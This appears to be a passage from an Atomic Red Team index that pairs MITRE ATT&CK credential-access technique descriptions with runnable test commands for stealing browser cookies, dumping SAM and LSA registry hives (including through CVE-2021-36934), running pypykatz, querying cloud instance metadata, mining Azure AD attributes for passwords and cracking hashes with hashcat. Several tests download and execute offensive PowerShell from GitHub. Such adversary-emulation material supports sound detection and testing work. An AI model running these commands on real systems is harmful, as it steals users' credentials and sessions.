phase_name: credential-access x_mitre_contributors: - Microsoft Threat Intelligence Center (MSTIC) - Johann Rehberger - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Office 365 - SaaS - Google Workspace x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Access' - 'File: File Access' type: attack-pattern id: attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff created: '2019-10-08T20:04:35.508Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1539 external_id: T1539 - source_name: Krebs Discord Bookmarks 2023 description: Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024. url: https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/ - source_name: Unit 42 Mac Crypto Cookies January 2019 description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ - source_name: Kaspersky TajMahal April 2019 description: GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019. url: https://securelist.com/project-tajmahal/90240/ - source_name: Github evilginx2 description: Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019. url: https://github.com/kgretzky/evilginx2 - source_name: GitHub Mauraena description: Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019. url: https://github.com/muraenateam/muraena - source_name: Pass The Cookie description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019. url: https://wunderwuzzi23.github.io/blog/passthecookie.html - source_name: Talos Roblox Scam 2023 description: Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game “Roblox”. Retrieved January 2, 2024. url: https://blog.talosintelligence.com/roblox-scam-overview/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1539 atomic_tests: - name: Steal Firefox Cookies (Windows) auto_generated_guid: 4b437357-f4e9-4c84-9fa6-9bcee6f826aa description: "This test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. \nNote: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. \n" supported_platforms: - windows input_arguments: sqlite3_path: description: Path to sqlite3 type: path default: PathToAtomicsFolder\..\ExternalPayloads\sqlite-tools-win32-x86-3380200\sqlite3.exe output_file: description: Filepath to output cookies type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1539FirefoxCookies.txt dependency_executor_name: powershell dependencies: - description: 'Sqlite3 must exist at (#{sqlite3_path}) ' prereq_command: 'if (Test-Path "#{sqlite3_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip" Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -force executor: command: | stop-process -name "firefox" -force -erroraction silentlycontinue $CookieDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*\cookies.sqlite" "select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];" | cmd /c #{sqlite3_path} "$CookieDBLocation" | out-file -filepath "#{output_file}" cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue ' name: powershell elevation_required: false - name: Steal Chrome Cookies (Windows) auto_generated_guid: 26a6b840-4943-4965-8df5-ef1f9a282440 description: "This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. \nOnce an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. \nNote: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. \n" supported_platforms: - windows input_arguments: cookie_db: description: Filepath for Chrome cookies database type: string default: "$env:localappdata\\Google\\Chrome\\User Data\\Default\\Network\\Cookies" sqlite3_path: description: Path to sqlite3 type: path default: PathToAtomicsFolder\..\ExternalPayloads\sqlite-tools-win32-x86-3380200\sqlite3.exe output_file: description: Filepath to output cookies type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1539ChromeCookies.txt dependency_executor_name: powershell dependencies: - description: 'Sqlite3 must exist at (#{sqlite3_path}) ' prereq_command: 'if (Test-Path "#{sqlite3_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip" Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -force executor: command: | stop-process -name "chrome" -force -erroraction silentlycontinue "select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];" | cmd /c #{sqlite3_path} "#{cookie_db}" | out-file -filepath "#{output_file}" cleanup_command: 'remove-item #{output_file} ' name: powershell elevation_required: false - name: Steal Chrome Cookies via Remote Debugging (Mac) auto_generated_guid: e43cfdaf-3fb8-4a45-8de0-7eee8741d072 description: |- The remote debugging functionality in Chrome can be used by malware for post-exploitation activities to obtain cookies without requiring keychain access. By initiating Chrome with a remote debug port, an attacker can sidestep encryption and employ Chrome's own mechanisms to access cookies. If successful, this test will output a list of cookies. Note: Chrome processes will be killed during this test. See https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e supported_platforms: - macos dependency_executor_name: bash dependencies: - description: Install Go prereq_command: go version get_prereq_command: brew install go - description: Download and compile WhiteChocolateMacademiaNut prereq_command: "/tmp/WhiteChocolateMacademiaNut/chocolate -h" get_prereq_command: |- git clone https://github.com/slyd0g/WhiteChocolateMacademiaNut.git /tmp/WhiteChocolateMacademiaNut cd /tmp/WhiteChocolateMacademiaNut go mod init chocolate go mod tidy go build executor: command: |- killall 'Google Chrome' sleep 1 open -a "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/ sleep 1 /tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337 cleanup_command: rm -rf /tmp/WhiteChocolateMacademiaNut name: bash elevation_required: false T1003.002: technique: modified: '2023-07-24T18:53:10.860Z' name: 'OS Credential Dumping: Security Account Manager' description: "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Ed Williams, Trustwave, SpiderLabs - Olaf Hartong, Falcon Force x_mitre_deprecated: false x_mitre_detection: Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Access' - 'Windows Registry: Windows Registry Key Access' - 'File: File Creation' type: attack-pattern id: attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011 created: '2020-02-11T18:42:07.281Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1003/002 external_id: T1003.002 - source_name: GitHub Creddump7 description: Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018. url: https://github.com/Neohapsis/creddump7 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1003.002 atomic_tests: - name: Registry dump of SAM, creds, and secrets auto_generated_guid: 5c2571d0-1572-416d-9676-812e64ca9f44 description: | Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7 Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory. supported_platforms: - windows executor: command: | reg save HKLM\sam %temp%\sam reg save HKLM\system %temp%\system reg save HKLM\security %temp%\security cleanup_command: | del %temp%\sam >nul 2> nul del %temp%\system >nul 2> nul del %temp%\security >nul 2> nul name: command_prompt elevation_required: true - name: Registry parse with pypykatz auto_generated_guid: a96872b2-cbf3-46cf-8eb4-27e8c0e85263 description: | Parses registry hives to obtain stored credentials. Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution. supported_platforms: - windows input_arguments: venv_path: description: Path to the folder for the tactics venv type: string default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1003_002 dependency_executor_name: powershell dependencies: - description: 'Computer must have python 3 installed ' prereq_command: 'if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait - description: 'Computer must have venv configured at #{venv_path} ' prereq_command: 'if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit 1 } ' get_prereq_command: 'py -m venv "#{venv_path}" ' - description: "pypykatz must be installed \n" prereq_command: 'if (Get-Command "#{venv_path}\Scripts\pypykatz" -errorAction SilentlyContinue) { exit 0 } else { exit 1 } ' get_prereq_command: '& "#{venv_path}\Scripts\pip.exe" install --no-cache-dir pypykatz 2>&1 | Out-Null ' executor: command: "\"#{venv_path}\\Scripts\\pypykatz\" live lsa \n" name: command_prompt elevation_required: true - name: esentutl.exe SAM copy auto_generated_guid: a90c2f4d-6726-444e-99d2-a00cd7c20480 description: | Copy the SAM hive using the esentutl.exe utility This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc. supported_platforms: - windows input_arguments: file_path: description: Path to the file to copy type: path default: "%SystemRoot%/system32/config/SAM" file_name: description: Name of the copied file type: string default: SAM copy_dest: description: Destination of the copied file type: string default: "%temp%" executor: command: 'esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name} ' name: command_prompt elevation_required: true cleanup_command: 'del #{copy_dest}\#{file_name} >nul 2>&1 ' - name: PowerDump Hashes and Usernames from Registry auto_generated_guid: 804f28fc-68fc-40da-b5a2-e9d0bce5c193 description: Executes a hashdump by reading the hashes from the registry. supported_platforms: - windows dependencies: - description: PowerDump script must exist on disk at specified location prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1") {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null Invoke-Webrequest -Uri "https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1" -UseBasicParsing -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1" executor: command: |- Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1" Invoke-PowerDump name: powershell elevation_required: true - name: dump volume shadow copy hives with certutil auto_generated_guid: eeb9751a-d598-42d3-b11c-c122d9c3f6c7 description: | Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as "HiveNightmare" or "SeriousSAM". This can be done with a non-admin user account. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934) supported_platforms: - windows input_arguments: target_hive: description: Hive you wish to dump type: string default: SAM limit: description: Limit to the number of shadow copies to iterate through when trying to copy the hive type: integer default: 10 executor: command: 'for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}" %temp%\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\#{target_hive}vss* ' name: command_prompt elevation_required: false cleanup_command: 'for /L %a in (1,1,#{limit}) do @(del %temp%\#{target_hive}vss%a >nul 2>&1) ' - name: dump volume shadow copy hives with System.IO.File auto_generated_guid: 9d77fed7-05f8-476e-a81b-8ff0472c64d0 description: 'Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934) ' supported_platforms: - windows input_arguments: target_hive: description: Hive you wish to dump type: string default: SAM limit: description: Limit to the number of shadow copies to iterate through when trying to copy the hive type: integer default: 10 executor: command: "1..#{limit} | % { \n try { [System.IO.File]::Copy(\"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy$_\\Windows\\System32\\config\\#{target_hive}\" , \"$env:TEMP\\#{target_hive}vss$_\", \"true\") } catch {}\n ls \"$env:TEMP\\#{target_hive}vss$_\" -ErrorAction Ignore\n}\n" name: powershell elevation_required: false cleanup_command: | 1..#{limit} | % { rm "$env:TEMP\#{target_hive}vss$_" -ErrorAction Ignore } - name: WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes auto_generated_guid: 0c0f5f06-166a-4f4d-bb4a-719df9a01dbb description: Loot local Credentials - Dump SAM-File for NTLM Hashes technique via function of WinPwn supported_platforms: - windows executor: command: "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsamfile -consoleoutput -noninteractive " name: powershell - name: Dumping of SAM, creds, and secrets(Reg Export) auto_generated_guid: 21df41be-cdd8-4695-a650-c3981113aa3c description: | Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Used reg export to execute this behavior Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory. supported_platforms: - windows executor: command: | reg export HKLM\sam %temp%\sam reg export HKLM\system %temp%\system reg export HKLM\security %temp%\security cleanup_command: | del %temp%\sam >nul 2> nul del %temp%\system >nul 2> nul del %temp%\security >nul 2> nul name: command_prompt elevation_required: true T1552.005: technique: modified: '2023-03-21T13:56:27.910Z' name: 'Unsecured Credentials: Cloud Instance Metadata API' description: | Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019) If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018) The de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Praetorian x_mitre_deprecated: false x_mitre_detection: |- Monitor access to the Instance Metadata API and look for anomalous queries. It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - IaaS x_mitre_version: '1.4' x_mitre_data_sources: - 'User Account: User Account Authentication' type: attack-pattern id: attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3 created: '2020-02-11T18:47:46.619Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552/005 external_id: T1552.005 - source_name: AWS Instance Metadata API description: AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019. url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html - source_name: RedLock Instance Metadata API 2018 description: 'Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.' url: https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse - source_name: Krebs Capital One August 2019 description: Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020. url: https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1552.005 atomic_tests: - name: Azure - Search Azure AD User Attributes for Passwords auto_generated_guid: ae9b2e3e-efa1-4483-86e2-fae529ab9fb6 description: "This test uses the MSOnline Powershell module to retrieve all user attributes for a specified account, which can sometimes contain unsecured credentials. \nUpon successful execution, this test will scan all user attributes for any strings containing \"password\".\nThose unsecured credentials will be output to a text file, as well as the account that they are associated with and the user attribute in which they were found. \nSee: https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatsheets/Azure.md\n" supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: password: description: Azure AD password type: string default: T1082Az dependency_executor_name: powershell dependencies: - description: 'The MSOnline module must be installed. ' prereq_command: 'if (get-command Get-MsolUser -erroraction silentlycontinue){exit 0} else {exit 1} ' get_prereq_command: 'install-module MSOnline ' executor: command: "import-module msonline\n$Password = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Password\nConnect-MsolService -Credential $Credential\n$users = Get-MsolUser -All;\nforeach($user in $users)\n{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; \nforeach($prop in $props)\n{if($user.$prop -like \"*password*\")\n{(\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop) | out-file -filepath $env:temp\\T1552.005Test1.txt -append -force}}}\nget-content -path $env:temp\\T1552.005Test1.txt -erroraction silentlycontinue\n" cleanup_command: 'remove-item $env:temp\T1552.005Test1.txt -force -erroraction silentlycontinue ' name: powershell elevation_required: true - name: Azure - Dump Azure Instance Metadata from Virtual Machines auto_generated_guid: cc99e772-4e18-4f1f-b422-c5cdd1bfd7b7 description: "This test invokes a web request to the default Instance Metadata API of 169.254.169.254 in order to dump the data contained within it to a file. \nSee: https://www.sans.org/blog/cloud-instance-metadata-services-imds-/\n" supported_platforms: - iaas:azure input_arguments: output_file: description: File to output metadata to type: string default: "$env:temp\\T1552.005Test2.txt" executor: command: 'Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 > #{output_file} ' cleanup_command: 'remove-item #{output_file} -force -erroraction silentlycontinue ' name: powershell T1555.002: technique: modified: '2024-03-29T16:37:34.772Z' name: Securityd Memory description: |- An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware) In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s `securityd` utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_deprecated: false x_mitre_detection: Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Access' type: attack-pattern id: attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72 created: '2020-02-12T18:56:31.051Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1555/002 external_id: T1555.002 - source_name: External to DA, the OS X Way description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way - source_name: Apple Dev SecurityD description: Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024. url: https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html - source_name: OS X Keychain description: Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017. url: http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain - source_name: OSX Keydnap malware description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1110.002: technique: modified: '2023-03-30T21:01:48.643Z' name: 'Brute Force: Password Cracking' description: "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Mohamed Kmal x_mitre_deprecated: false x_mitre_detection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows - Office 365 - Azure AD - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d created: '2020-02-11T18:38:56.197Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1110/002 external_id: T1110.002 - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A - source_name: Wikipedia Password cracking description: Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015. url: https://en.wikipedia.org/wiki/Password_cracking object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1110.002 atomic_tests: - name: Password Cracking with Hashcat auto_generated_guid: 6d27df5d-69d4-4c91-bc33-5983ffe91692 description: Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against supported_platforms: - windows input_arguments: hashcat_exe: description: Path to Hashcat executable type: string default: PathToAtomicsFolder\..\ExternalPayloads\hashcat6\hashcat-6.1.1\hashcat.exe input_file_sam: description: Path to SAM file type: string default: PathToAtomicsFolder\T1110.002\src\sam.txt input_file_passwords: description: Path to password list type: string default: PathToAtomicsFolder\T1110.002\src\password.lst dependency_executor_name: powershell dependencies: - description: Hashcat must exist on disk at specified location (#{hashcat_exe}) prereq_command: 'if (Test-Path $(cmd /c echo "#{hashcat_exe}")) {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://www.7-zip.org/a/7z1900.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\7z1900.exe" Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\7z1900.exe" -ArgumentList "/S /D=PathToAtomicsFolder\..\ExternalPayloads\7zi" -NoNewWindow Invoke-WebRequest "https://hashcat.net/files/hashcat-6.1.1.7z" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\hashcat6.7z" Start-Process cmd.exe -Args "/c %temp%\7z\7z.exe x %temp%\hashcat6.7z -aoa -o%temp%\hashcat-unzip" -Wait New-Item -ItemType Directory (Split-Path $(cmd /c echo #{hashcat_exe})) -Force | Out-Null Move-Item "PathToAtomicsFolder\..\ExternalPayloads\hashcat-unzip\hashcat-6.1.1\*" $(cmd /c echo #{hashcat_exe}\..) -Force -ErrorAction Ignore executor: command: |- cd #{hashcat_exe}\.. #{hashcat_exe} -a 0 -m 1000 -r .\rules\Incisive-leetspeak.rule #{input_file_sam} #{input_file_passwords} cleanup_command: |- del "PathToAtomicsFolder\..\ExternalPayloads\hashcat6.7z" >nul 2>&1 del "PathToAtomicsFolder\..\ExternalPayloads\7z1900.exe" >nul 2>&1 del "PathToAtomicsFolder\..\ExternalPayloads\7z" /Q /S >nul 2>&1 del "PathToAtomicsFolder\..\ExternalPayloads\hashcat-unzip" /Q /S >nul 2>&1 name: command_prompt elevation_required: true T1555.001: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3 created: '2020-02-12T18:55:24.728Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1555.001 url: https://attack.mitre.org/techniques/T1555/001 - source_name: External to DA, the OS X Way url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. - source_name: Keychain Services Apple url: https://developer.apple.com/documentation/security/keychain_services description: Apple. (n.d.). Keychain Services. Retrieved April 11, 2022. - source_name: Empire Keychain Decrypt url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py description: Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022. - source_name: OSX Keychain Schaumann url: https://www.netmeister.org/blog/keychain-passwords.html description: Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. 